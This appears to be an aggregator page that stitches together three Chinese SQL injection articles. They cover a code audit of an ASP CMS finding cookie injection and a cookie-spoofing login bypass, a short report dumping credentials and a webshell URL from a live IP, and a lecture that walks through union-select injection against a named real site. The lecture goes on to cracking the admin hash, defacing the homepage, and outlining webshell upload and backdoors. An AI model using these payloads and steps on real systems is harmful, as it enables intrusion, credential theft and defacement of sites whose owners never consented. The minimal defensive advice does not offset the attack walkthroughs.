一 : E创网络SQL注入
正好最近对代码审计比较感兴趣,因此写个看代码找漏洞的过程.
代码审计我也是初学,还未入门,我只是希望找到如下漏洞:
1.命令执行 比如php的system等函数
2.代码执行 比如 eval这些函数
3.文件操作 目标是获得webshell
上传、文件修改、文件读(下载)、文件列举。跟文件有关的都应该看吧
4.权限判断 越权操作 往往是危害比较大
水平和垂直权限提升,cookie欺骗绕过验证。
5.sql注入 根据sql命令关键字 进行搜索
这样可以确定所有进入到sql中的变量(直接输入或者多阶注入)
6.xss 这种基本上不再考虑范围内了,我不会用...
7.逻辑漏洞 这种比较难于发现
8.其它问题
暴力破解
破坏性的攻击 导致当机 有些时候也是非常危险的
配置问题
错误信息未屏蔽
由于只能看懂点asp代码,因此找一个asp的一套程序:(E创网络出品的代码)
官网:http://www.echsys.com/
源码地址:http://www.echsys.com/EC0703.V6014.rar
学习几天,发现目前的源码审计都是搜索危险函数,好像还没有见过那种动态执行的源码审计工具,如果就是搜索函数
那就是在文件中搜索字符串了,这个我会notepad++这个工具不错呀,但是搞了一会发现,不如人意,notepad++
好像只能搜索一个字符串,不能批量搜索,这有点麻烦,而且有点盲目,坐在电脑前想了半天,觉得还是自己写个
搜索字符串的吧,可以根据指定的字符串(正则)列表,在一个文件夹里面搜索所有符合的。
因此首先要有个列表,但是怎么搞出来列表呢? 那要根据漏洞产生的原因来搞吧...
1.能够产生漏洞的就是用户输入吧(一切输入的都是有害的).
2.关键函数对应的关键操作(一切进入函数的输入都是有害的,多阶输入)
基于以上两点我想了半天整理出来一个列表:
request#input
server.createobject#object
multipart/form-data#file upload
execute#code execute
eval#code execute
select #sql
insert #sql
update #sql
delete #sql
暂时就想到这些,以后再补充吧,这里很好理解了,我使用#做分隔符,前面是要匹配的变量,后面是说明
有了列表就需要一个工具,根据列表去匹配了。好像有人写过,但是我感觉还是要自己写好点,以后该起来
容易。也锻炼一下写代码,为了以后找一个好点的工作...
使用c#简单写了一个粗糙的界面:
基本功能:
1.从文件中读取待匹配列表
2.可以选择一个文件夹,遍历所有文件,然后进行匹配,挑选出,所有满足的结果
3.可以指定匹配的文件后缀,比如asp cms我就不用去匹配php后缀了吧,而且很多图片文件也不需要匹配
4.可以只查找一个关键字,(有两种模式,一种是匹配,一种是不匹配)主要原因,当我们只要一个文件做权限
检查的时候,如果一个文件夹下有一个文件未包含该文件,那就是未授权访问了,这点其实是很好。至少我这么
想的。
基本上就想到这些,开始了...经过数天,修修改改,终于可以用了,离好看还有十万八千里...
测试一下,选择下载的源代码,和上面的字符串列表:
获得如下结果。然后我就开始看…。发现有问题,代码执行那个里面都是js的eval悲剧了(只能忽略)一个文件上传,但是没有服务器处理文件悲剧了。在看看输入input吧。
选择notepad++打开,(因为我没有写出来它的那个选择高亮功能哎)
发现里面包含好多的include,仔细一看是验证吧,判断用户是否登录。Chkuser.asp源码如下:
获得cookie中的用户名和密码:而且用户名使用checkstr进行了处理,将单引号进行了转义.虽然password没有被处理,但是并没有进入到查询语句,因此不能注入绕过了.
那就是说它这个权限判断还行,至少我还没有绕过呢,呵呵。
有权限绕过的都是后台功能,对于我来说,怎么从前台搞进后台才是关键,因此,首先应该看那些没有做权限检查的页面是否存在漏洞。即不包含include file="chkuser.asp"这个的代码。
一、cookie注入[www.61k.com)
因此重新配置:
查找所有.asp文件不包含checkuser.asp的文件。即查询所有前台页面。很快结果出来了:
开始查看,打开文件才发现好悲剧,原来我下载的是测试版,好多页面都没有内容哎,悲剧的要命,但是不能放弃,在搜索的列表中看一下
当访问到ChkManageLogin.asp时,使用notepad++打开,发现问题了
<!--#include file="conn.asp"-->
<!--#include file="char.inc"-->
<!--#include file="config.asp"-->
<!--#include file="md5.asp"-->
<%
'on error resume next
dim rs
UserName1=CheckStr(request.form("UserName")) //获得用户名
passwd1=md5(trim(request.form("passwd"))) //md5密码
verifycode=cstr(trim(request.form("verifycode"))) //验证码
dim ViewUrl1
ViewUrl1="admin_index.asp"
扩展:e创cookie注入工具 / 创e网络联盟 / sql注入
if cstr(session("verifycode"))<>verifycode then
Show_Err("验证码出错,可能是您在管理登录页面停留太久了,请返回后刷新页面。<br><br><a href='javascript:history.back()'>返回</a>")
response.end
else
set rs=server.createobject("adodb.recordset")
sql="select * from "& db_EC_Manage_Table &" where ("& db_ManageUser_Name &"='"&username1&"' and adder='"&Request.cookies(eChsys)("username")&"')" //很明显的一个cookie注入点
rs.open sql,Conn,1,3
if (passwd1<>rs(db_ManageUser_Password) or UserName1<>rs(db_ManageUser_Name)) then
Show_Err("用户名或密码出错,请返回检查<br><br><a href='javascript:history.back()'>返回重来</a>")
response.end
else
rs(db_ManageUser_LastLoginIP)=Request.ServerVariables("REMOTE_ADDR")
rs(db_ManageUser_LastLoginTime)=Now()
rs(db_ManageUser_LoginTimes)=rs(db_ManageUser_LoginTimes)+1
rs.update
从上面的代码很容易看出来,Request.cookies(eChsys)("username")未作任何过滤导致cookie注入,但是前面有一个验证码,要想注入需要通过验证码验证才可以。使用session保存验证码的,而且验证出错与否并没有更新验证码,就是说明只要我浏览网页抓到一次验证码,那么我下次继续访问只要带上cookieid就是可以保证session中的验证码是正确的,因此就可以验证通过。验证码问题解决了。
如果验证成功后直接跳转找admin_index.asp,但是改页面被加密了。真是不厚道,还得搞个解密工具,解密后如下:
不是吧这个更直接,cookie注入太明显了,而且都没有了验证码限制,如果sql执行失败,就会跳转到login.asp页面,如果执行成功就不跳转,根据这点就可以搞定了,可以确定sql执行是否成功。一个盲注点。由以上两个注入点中的任何一个就可以获得管理员的用户名和密码了。还有一个问题就是cookie前缀,发现访问login.asp就泄露了cookie前缀:
万事具备了,只欠东风。就是一个猜测用户和密码的工具了。都想想完全猜测真的好麻烦,继续看代码发现还有这样一个页面
E_alluser.asp,会把所有的注册会员显示出来,唉得来全部费工夫,知道了用户名,就只猜测对应的密码就可以了。由于表结构等都已知很容易写出来猜测密码的小程序如下所示:
二、cookie欺骗绕过身份验证但是密码都是md5加密的,如果破解不出来密码那岂不是悲剧,因此看一下程序的验证方法。还是两级验证,两个验证文件。Chkuser.asp和ChkManage.asp两个代码基本类似,只是判断表名不同,一个是普通用户,一个是管理用户验证。
UserName=CheckStr(trim(Request.cookies(eChsys)("UserName")))
M_UserName=CheckStr(trim(Request.cookies(eChsys)("ManageUserName")))
M_PassWD=trim(Request.cookies(eChsys)("ManagePasswd"))
M_Key=trim(request.cookies(eChsys)("ManageKEY"))
set urs=server.createobject("adodb.recordset")
sql="select * from "& db_EC_Manage_Table &" where ("& db_ManageUser_Name &"='"& M_UserName &"' and adder='"& UserName &"')"
urs.open sql,Conn,1,3
if urs.bof or urs.eof then
if IsDebug="1" then
Show_Err("以cookies(username)及cookies(ManageUserName)的返回值,查找不到管理用户表中的相对应记录。<br><br><a href='javascript:history.back()'>返回</a>")
else
response.redirect "admin_index.asp?action=Manage.asp"
end if
response.end
else
if M_PassWD<>urs(db_ManageUser_Password) then
if IsDebug="1" then
Show_Err("cookies(ManagePasswd)的返回值与管理用户表中的相对应记录的Password值不符。<br><br><a href='javascript:history.back()'>返回</a>")
else
response.redirect "admin_index.asp?action=Manage.asp"
end if
response.end
else
可以看出,其实就是从cookie中获得值,用户名和密码,而且用户名进行了处理导致无法注入,根据用户名查询获得对应的密码,这个密码是md5加密的,跟提交的cookie中的密码进行比较如果相等,就通过了验证,这说明根本就不用破解md5,就可以了,太好了可以省一角钱。
三、文件操作获得shell进了后台往往不是最终目的,一般都是为了去获得一个webshell。因此我们的目标就是查找有文件操作的地方。
其实分为几类:文件上传,文件修改,文件备份等。大家都懂这里就不多写了,很容易就可以搞到shell利用后台的db_compact.asp文件。(有点长了怕乌云放不下)
修复方案:
修复其实很容易了,这个主要问题是cookie注入,因此只要程序员在获得的cookie后调用安全函数就可以了。
扩展:e创cookie注入工具 / 创e网络联盟 / sql注入
二 : 安智网某站SQL注入到Getshell
RT
随便扫的一个ip段然后发现
http://182.18.63.104:82/login.php?action=login
登录出单引号报错
'or extractvalue(1,concat(0x7e,database())) or'/home/www2/gamecenter.com/data/DB.php:210Could not query: XPATH syntax error: '~market_king'
然后注入
注入出账号密码
gcadmin : admin
后台很简陋
然后shell
http://182.18.63.104:81/res/ad_soft/20160607110515_576436_load.php cmd
发现域名:m.goapk.com
解决方案:(www.61k.com)
..
三 : Web安全篇之SQL注入攻击
大家早上好!今天由我给大家带来《web安全之SQL注入篇》系列晨讲,首先对课程进行简单介绍,SQL注入篇一共分为三讲:(www.61k.com)
第一讲:“纸上谈兵:我们需要在本地架设注入环境,构造注入语句,了解注入原理。”;
第二讲:“实战演练:我们要在互联网上随机对网站进行友情检测,活学活用,举一反三”;
第三讲:“扩展内容:挂马,提权,留门。此讲内容颇具危害性,不予演示。仅作概述”。
这个主题涉及的东西还是比较多的,结合我们前期所学。主要是让大家切身体会一下,管中窥豹,起到知己知彼的作用。千里之堤溃于蚁穴,以后进入单位,从事相关程序开发,一定要谨小慎微。
问:大家知道骇客们攻击网站主要有哪些手法?
SQL注入,旁注,XSS跨站,COOKIE欺骗,DDOS,0day 漏洞,社会工程学 等等等等,只要有数据交互,就会存在被入侵风险!哪怕你把网线拔掉,物理隔绝,我还可以利用传感器捕捉电磁辐射信号转换成模拟图像。你把门锁上,我就爬窗户;你把窗户关上,我就翻院墙;你把院墙加高,我就挖地洞。。。道高一尺魔高一丈,我始终坚信计算机不存在绝对的安全,你攻我防,此消彼长,有时候,魔与道只在一念之间。
下面,就让我们一起推开计算机中那另一扇不为人知的门---
一、纸上谈兵
(一)了解注入原理
为什么会存在sql注入呢,只能说SQL出身不好。因为sql作为一种解释型语言,在运行时是由一个运行时组件解释语言代码并执行其中包含的指令的语言。基于这种执行方式,产生了一系列叫做代码注入(code injection)的漏洞 。它的数据其实是由程序员编写的代码和用户提交的数据共同组成的。程序员在web开发时,没有过滤敏感字符,绑定变量,导致攻击者可以通过sql灵活多变的语法,构造精心巧妙的语句,不择手段,达成目的,或者通过系统报错,返回对自己有用的信息。
我们在学JDBC和SQL时,讲师跟我们说 Statement不能防止SQL注入, PreparedStatement能够防止SQL注入. 没错, 这句话是没有问题的, 但到底如何进行SQL注入?怎么直观的去了解SQL注入?这还是需要花一定的时间去实验的.预编译语句java.sql.PreparedStatement ,扩展自 Statement,不但具有 Statement 的所有能力而且具有更强大的功能。不同的是,PreparedStatement 是在创建语句对象的同时给出要执行的sql语句。这样,sql语句就会被系统进行预编译,执行的速度会有所增加,尤其是在执行大语句的时候,效果更加理想。而且PreparedStatement中绑定的sql语句是可以带参数的。
(二)架设注入环境
我们知道现在php作为一门网页编程语言真是风生水起,利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建网站环境,如腾讯的discuz、阿里的 phpwind 以及织梦的dedecms 等建站程序,占据了国内网站的半壁江山。那么我们今天即以这种架构为假象敌,首先是在本地架设wamp环境。需要用到的工具有:apache,mysql,php ,这几个组件可以单独下载安装,不过安装配置过程较为繁琐,还是建议新手直接从网上下载phpnow ,一个绿色程序,包含上述三个组件,傻瓜化操作就可以了。
然后呢,我们要建立测试用的数据表,编写html,php,文件,通过实例具体来演示通过SQL注入,登入后台管理员界面。这里,我之前已经写好了,大家看下:
1.创建一张试验用的数据表:
CREATE TABLE users ( id int(11) NOT NULL AUTO_INCREMENT, username varchar(64) NOT NULL, password varchar(64) NOT NULL, email varchar(64) NOT NULL, PRIMARY KEY (id), UNIQUE KEY username (username) );
添加一条记录用于测试:
INSERT INTO users (username,password,email)
VALUES('tarena',md5('admin'),'tarena@admin.com');
2.接下来,贴上登录界面的源代码:
<html><head><title>Sql注入演示</title><meta http-equiv="content-type" content="text/html;charset=utf-8"></head><body ><form action="validate.php" method="post"> <fieldset > <legend>Sql注入演示</legend> <table> <tr> <td>用户名:</td> <td><input type="text" name="username"></td> </tr> <tr> <td>密 码:</td> <td><input type="text" name="password"></td> </tr> <tr> <td><input type="submit" value="提交"></td> <td><input type="reset" value="重置"></td> </tr> </table> </fieldset></form></body></html>
当用户点击提交按钮的时候,将会把表单数据提交给validate.php页面,validate.php页面用来判断用户输入的用户名和密码有没有都符合要求(这一步至关重要,也往往是SQL漏洞所在)。
3.验证模块代码如下:
<html><head><title>登录验证</title><meta http-equiv="content-type" content="text/html;charset=utf-8"></head><body><?php $conn=@mysql_connect("localhost",'root','') or die("数据库连接失败!");; mysql_select_db("injection",$conn) or die("您要选择的数据库不存在"); $name=$_POST['username']; $pwd=$_POST['password']; $sql="select * from users where username='$name' and password='$pwd'"; $query=mysql_query($sql); $arr=mysql_fetch_array($query); if(is_array($arr)){ header("Location:manager.php"); }else{ echo "您的用户名或密码输入有误,<a href=\"Login.php\">请重新登录!</a>"; }?></body></html>扩展:web 防止sql注入攻击 / web注入攻击 / sql注入攻击
注意到了没有,我们直接将用户提交过来的数据(用户名和密码)直接拿去执行,并没有实现进行特殊字符过滤,待会你们将明白,这是致命的。
代码分析:如果,用户名和密码都匹配成功的话,将跳转到管理员操作界面(manager.php),不成功,则给出友好提示信息。
(三)演示注入手法到这里,前期工作已经做好了,我们看这个登录界面,虽说是简陋了点。但具有一般登录认证的功能。普通人看这个不过是一个登录界面,但从攻击者角度来说,透过现象看本质,我们应当意识到隐藏在这个登录页面背后的是一条select 语句---
OK! 接下来将展开我们的重头戏:SQL注入
填好正确的用户名(tarena)和密码(admin)后,点击提交,将会返回给我们“欢迎管理员”的界面。
因为根据我们提交的用户名和密码被合成到SQL查询语句当中之后是这样的:
select * from users where username='tarena' and password=md5('admin')
很明显,用户名和密码都和我们之前给出的一样,肯定能够成功登陆。但是,如果我们输入一个错误的用户名或密码呢?很明显,肯定登入不了吧。恩,正常情况下是如此,但是对于有SQL注入漏洞的网站来说,只要构造个特殊的“字符串”,照样能够成功登录。
比如:在用户名输入框中输入:’or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:
select * from users where username='' or 1=1#' and password=md5('')
语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:
select * from users where username='' or 1=1#' and password=md5('')
等价于
select * from users where username='' or 1=1
因为1=1永远都是成立的,即where子句总是为真,将该sql进一步简化之后,等价如下select语句:
select * from users
没错,该sql语句的作用是检索users表中的所有字段
果不其然,我们利用万能语句(’or 1=1#)能够登录!看到了吧,一个经构造后的sql语句竟有如此可怕的破坏力,相信你看到这后,开始对sql注入有了一个理性的认识了吧~
二、实战演练OK,前面铺垫了那么多,算是给大家科普了。现在我们进行第二讲,实战演练。开始之前呢,有一个互动环节。现在请大家用自己的手机登录 http://www.guoshang.tk 这个网址,简单看下。待会等我们注入攻击之后,再次登录,好对比效果,对于sql注入攻击有一个更加直观的认识。
(一)积极备战1。首先设置浏览器,工具--internet选项--安全--找到“显示友好的http信息”,把前面的勾去掉;
2。打开谷歌,寻找注入点。为了节省时间,这里我已经事先找好目标点
http://www.guoshang.tk;
谷歌搜索小技巧:筛选关键字:"inurl:/news/read.php?id="
(二)狼烟四起1。我们打开这个网址,一个新闻网站,,我们点击[百家争鸣]板块,这是一个国内外新闻速览的栏目,好多时政的帖子,我们点击一个,OK,现在进入单个帖子界面,首先我们看下当前帖子的URL地址,
http://www.guoshang.tk/news/read.php?id=50
可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。
2。判断是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。这两句什么意思呢? 一个恒等式,一个恒不等式,敲入 and 1=1 帖子返回正常, and 1=2 时帖子返回出错,说明sql语句被执行,程序没有对敏感字符进行过滤。现在我们可以确定此处是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问
http://www.guoshang.tk/news/read.php?id=50
时数据库中执行的SQL语句大概是这样的:
Select * from [表名] where id=50
添加and 1=1后的SQL语句:
Select * from [表名] where id=50 and 1=1
由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的
添加and 1=2后的SQL语句:
Select * from [表名] where id=50 and 1=2
由于条件1=2永远为假,所以返回的页面和正常页面不一致
3。爆数据库。确定注入点仅仅意味着开始。现在,我们回到原先的帖子地址:
http://www.guoshang.tk/news/read.php?id=50
现在要判断数据库类型以及版本,构造语句如下:
http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51
发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0
以下版本或者其他类型数据库。
4。爆字段。接着我们再构造如下语句来猜表中字段:
a. http://www.guoshang.tk/news/read.php?id=50 order by 10
返回错误页面,说明字段小于10
b. http://www.guoshang.tk/news/read.php?id=50 order by 5
返回正常页面,说明字段介于5和10之间
c. http://www.guoshang.tk/news/read.php?id=50 order by 7
返回错误页面,说明字段大于5小于7,可以判断字段数是6.下面我们再来确认一下
d. http://www.guoshang.tk/news/read.php?id=50 order by 6
返回正常页面,说明字段确实是6这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。
5。爆表.确定字段之后现在我们要构造联合查询语句(union select ),语句如下:
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
我们来看帖子页面,原先内容没有了,取而代之的是返回给了我们 三个数字,分别是3,5,6 我们随便选择一个,这里的3,5,6指的是我们可以把联合查询的对应位置替换为 我们想要查询的关键字,比如版本,数据库名称,主要是用来探测web系统的信息。
扩展:web 防止sql注入攻击 / web注入攻击 / sql注入攻击
6。爆用户名、密码。我们选择3 吧,OK,现在把3给替换掉,先查询下数据库库名,构造语句如下
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,database(),4,5,6
浏览器给我们返回了 xinwen 。说明这个网站 的数据库库名是 xinwen .
现在我们用同样的手法查询下 管理员信息 ,构造语句如下:
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,user(),4,5,6
返回 root@localhost ,是个管理员权限。
现在我们再用同样的手法查询用户名,密码,构造语句如下:
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select
1,2,username,4,5,6 from admin
返回 admin
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,password,4,5,6 from admin
返回 B2E5B76793EDA747382E81391AA3A400
7。md5解密。看到这里,有的同学可能会有点紧张。其实返回的这个是字符串密码经过32位md5加密后的值。上次李翊大帝给我们复习的时候 讲过加密与解密。也稍稍提到了md5 摘要算法,不可逆。话虽如此,现在互联网上crack md5 “解密”md5 的网站很多,这里我给解密加了引号,是因为其“解密”原理是 md5 值既然不能进行 逆向破解,但是同样的字符串经过同样的md5加密算法所生成的md5值是一样的,我们可以重新构造字符串生成md5值,然后对比两个值,如果一样则字符串一样。有人说,这种方法岂不是海底捞针,试到猴年马月去啊,其实不然,互联网云时代已经到来,大数据的信息挖掘以及分布式运算可以解决很多类似大运算量的问题。我们现在就要来对这个md5值进行比对,有好多网站提供这种服务,我们找一个。(http://www.md5.com.cn ) 这个网址,我们把这个值复制进去,然后点击“MD5 CRACK“,“解密”时间,视密码复杂度而定,OK,结果出来,(chinaadmin)
8。登录后台。现在我们已经拿到网站的管理员帐号密码,感谢上帝,一路顺风,但还不能高兴得太早。很多情况是你虽然拿到了钥匙,但是找不到门。下面我们就来找一下门,找之前要有个基本思路:
①先试下几个比较常用的目录;
②不行的话,因为这个论坛程序是dedecms5.6 ,所以我们就到 织梦官方,下载一套同样程序, 分析网站管理路径,或者直接百度“dedecms默认管理界面”即可,下载步骤可省略;
③手工不通,借力工具。明小子,啊D,御剑,都可以。
9。这里我们发现此网站依然采用程序默认管理路径:
http://www.guoshang.tk/dede
输入用户名 admin ,密码 chinaadmin 成功登入。
接下来,我们找到【核心】--【附件管理】--【文件式管理器】--这时我们可以看到网站根目录下所有目录以及文件,下标栏还有几个功能选项,我们可以看到网站首页文件【index.html】,点击【修改】,进入网页源代码编辑模式,删除所有源码(这招有点毒,劝告别改人家的源码,建议新建一个文件),留个言,表示到此一游。
卑鄙是卑鄙者的通行证,高尚是高尚者的墓志铭----- 北岛
现在是见证奇迹的时刻!请大家再次登录这个网站,有没有把你和你的小伙伴们惊呆呢?!
至此,战斗结束。若干年的免费住宿,一日三餐在向你招手。。。
三、扩展部分鉴于此讲内容危害性较大,不予演示。只简述其流程。
(一)webshell提权
二讲结束,我们仅仅取得网站管理员权限,操作范围仅限当前网站。革命尚未成功,同志仍需努力。若想深入挖掘,则必须寻求更大突破。获得网站webshell .
①准备一个php网马。(网上泛滥成灾,自己下载。但要注重分辨,小心螳螂捕蝉黄雀在后);
②登录网站后台--【核心】--【附件管理】--【文件式管理器】--选择下标栏中的【文件上传
选项,上传我们实现准备的php网马文件(tarena.php);
③上传完毕,点击预览,记录下url地址。新建浏览器窗口,复制粘贴,打开之后,可以看到我们的网马成功挂载,输入密码tarena(密码可以自行用记事本打开修改编辑);
④进入网马管理界面,你会被那华丽丽的操作选项惊呆了!(取决网马水平,小马就别谈了,这里指的是大马)。从程序目录-网站根目录-各种强大的功能,乃至直接操作服务器磁盘文件,获取各种系统信息,跃马扬鞭,如入无人之境。其破坏力之大,令人咂舌!所以拜托各位亲,一定要盗亦有道,手下留情,除了靠法律监管,也要靠个人道德约束。
(二)暗修栈道
浴血奋战、攻城拔寨之后,怎样保卫来之不易的胜利果实?政治治大国若烹小鲜,入侵则烹小鲜如治大国。为长远计,我们需要建立一种长期和肉鸡保持联系的机制。而且还要很隐蔽,毕竟这是见不得光的。留后门的方法诸多:
①开启telnet服务
建立匿名账户,添加至超级管理员组;
②开启远程终端服务;
③自制木马触发事件...
因系统平台而异,这里不再赘言。
后注:
①可能有读者会觉得此文很假,的确,鉴于篇幅问题,文中目标站点是我事先踩点过的,所以才
会一路凯歌,事实上很少会有站点会如此理想,但万变不离其宗,只是时间问题罢了。
②文中所述演示环境建立在同时满足两个条件下:
1.php配置文件中魔术引号已关闭;
2.建站程序中没有对用户输入字符进行过滤。
实际生活中,类似的SQL注入漏洞已是明日黄花,国内大大小小的网站都已经补上漏洞。但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的。笔者曾在晨讲之前利用了一天的时间,采取手工加工具的手段批量扫描了一批站点,并最终成功攻克一百有余。其中SQL注入漏洞确实很少,但各类0day漏洞层出不穷,更为严重的是后者比前者更加致命,互联网的高速发展给人们带来便利的同时也潜伏着非常多的风险,目前国内网络安全领域人才缺口非常大!希望达内能够审时度势,占领市场先机,早日开设网络安全专业,为社会经济建设保驾护航
扩展:web 防止sql注入攻击 / web注入攻击 / sql注入攻击
扩展:web 防止sql注入攻击 / web注入攻击 / sql注入攻击
本文标题:
sql注入-E创网络SQL注入 本文地址:
http://www.61k.com/1085110.html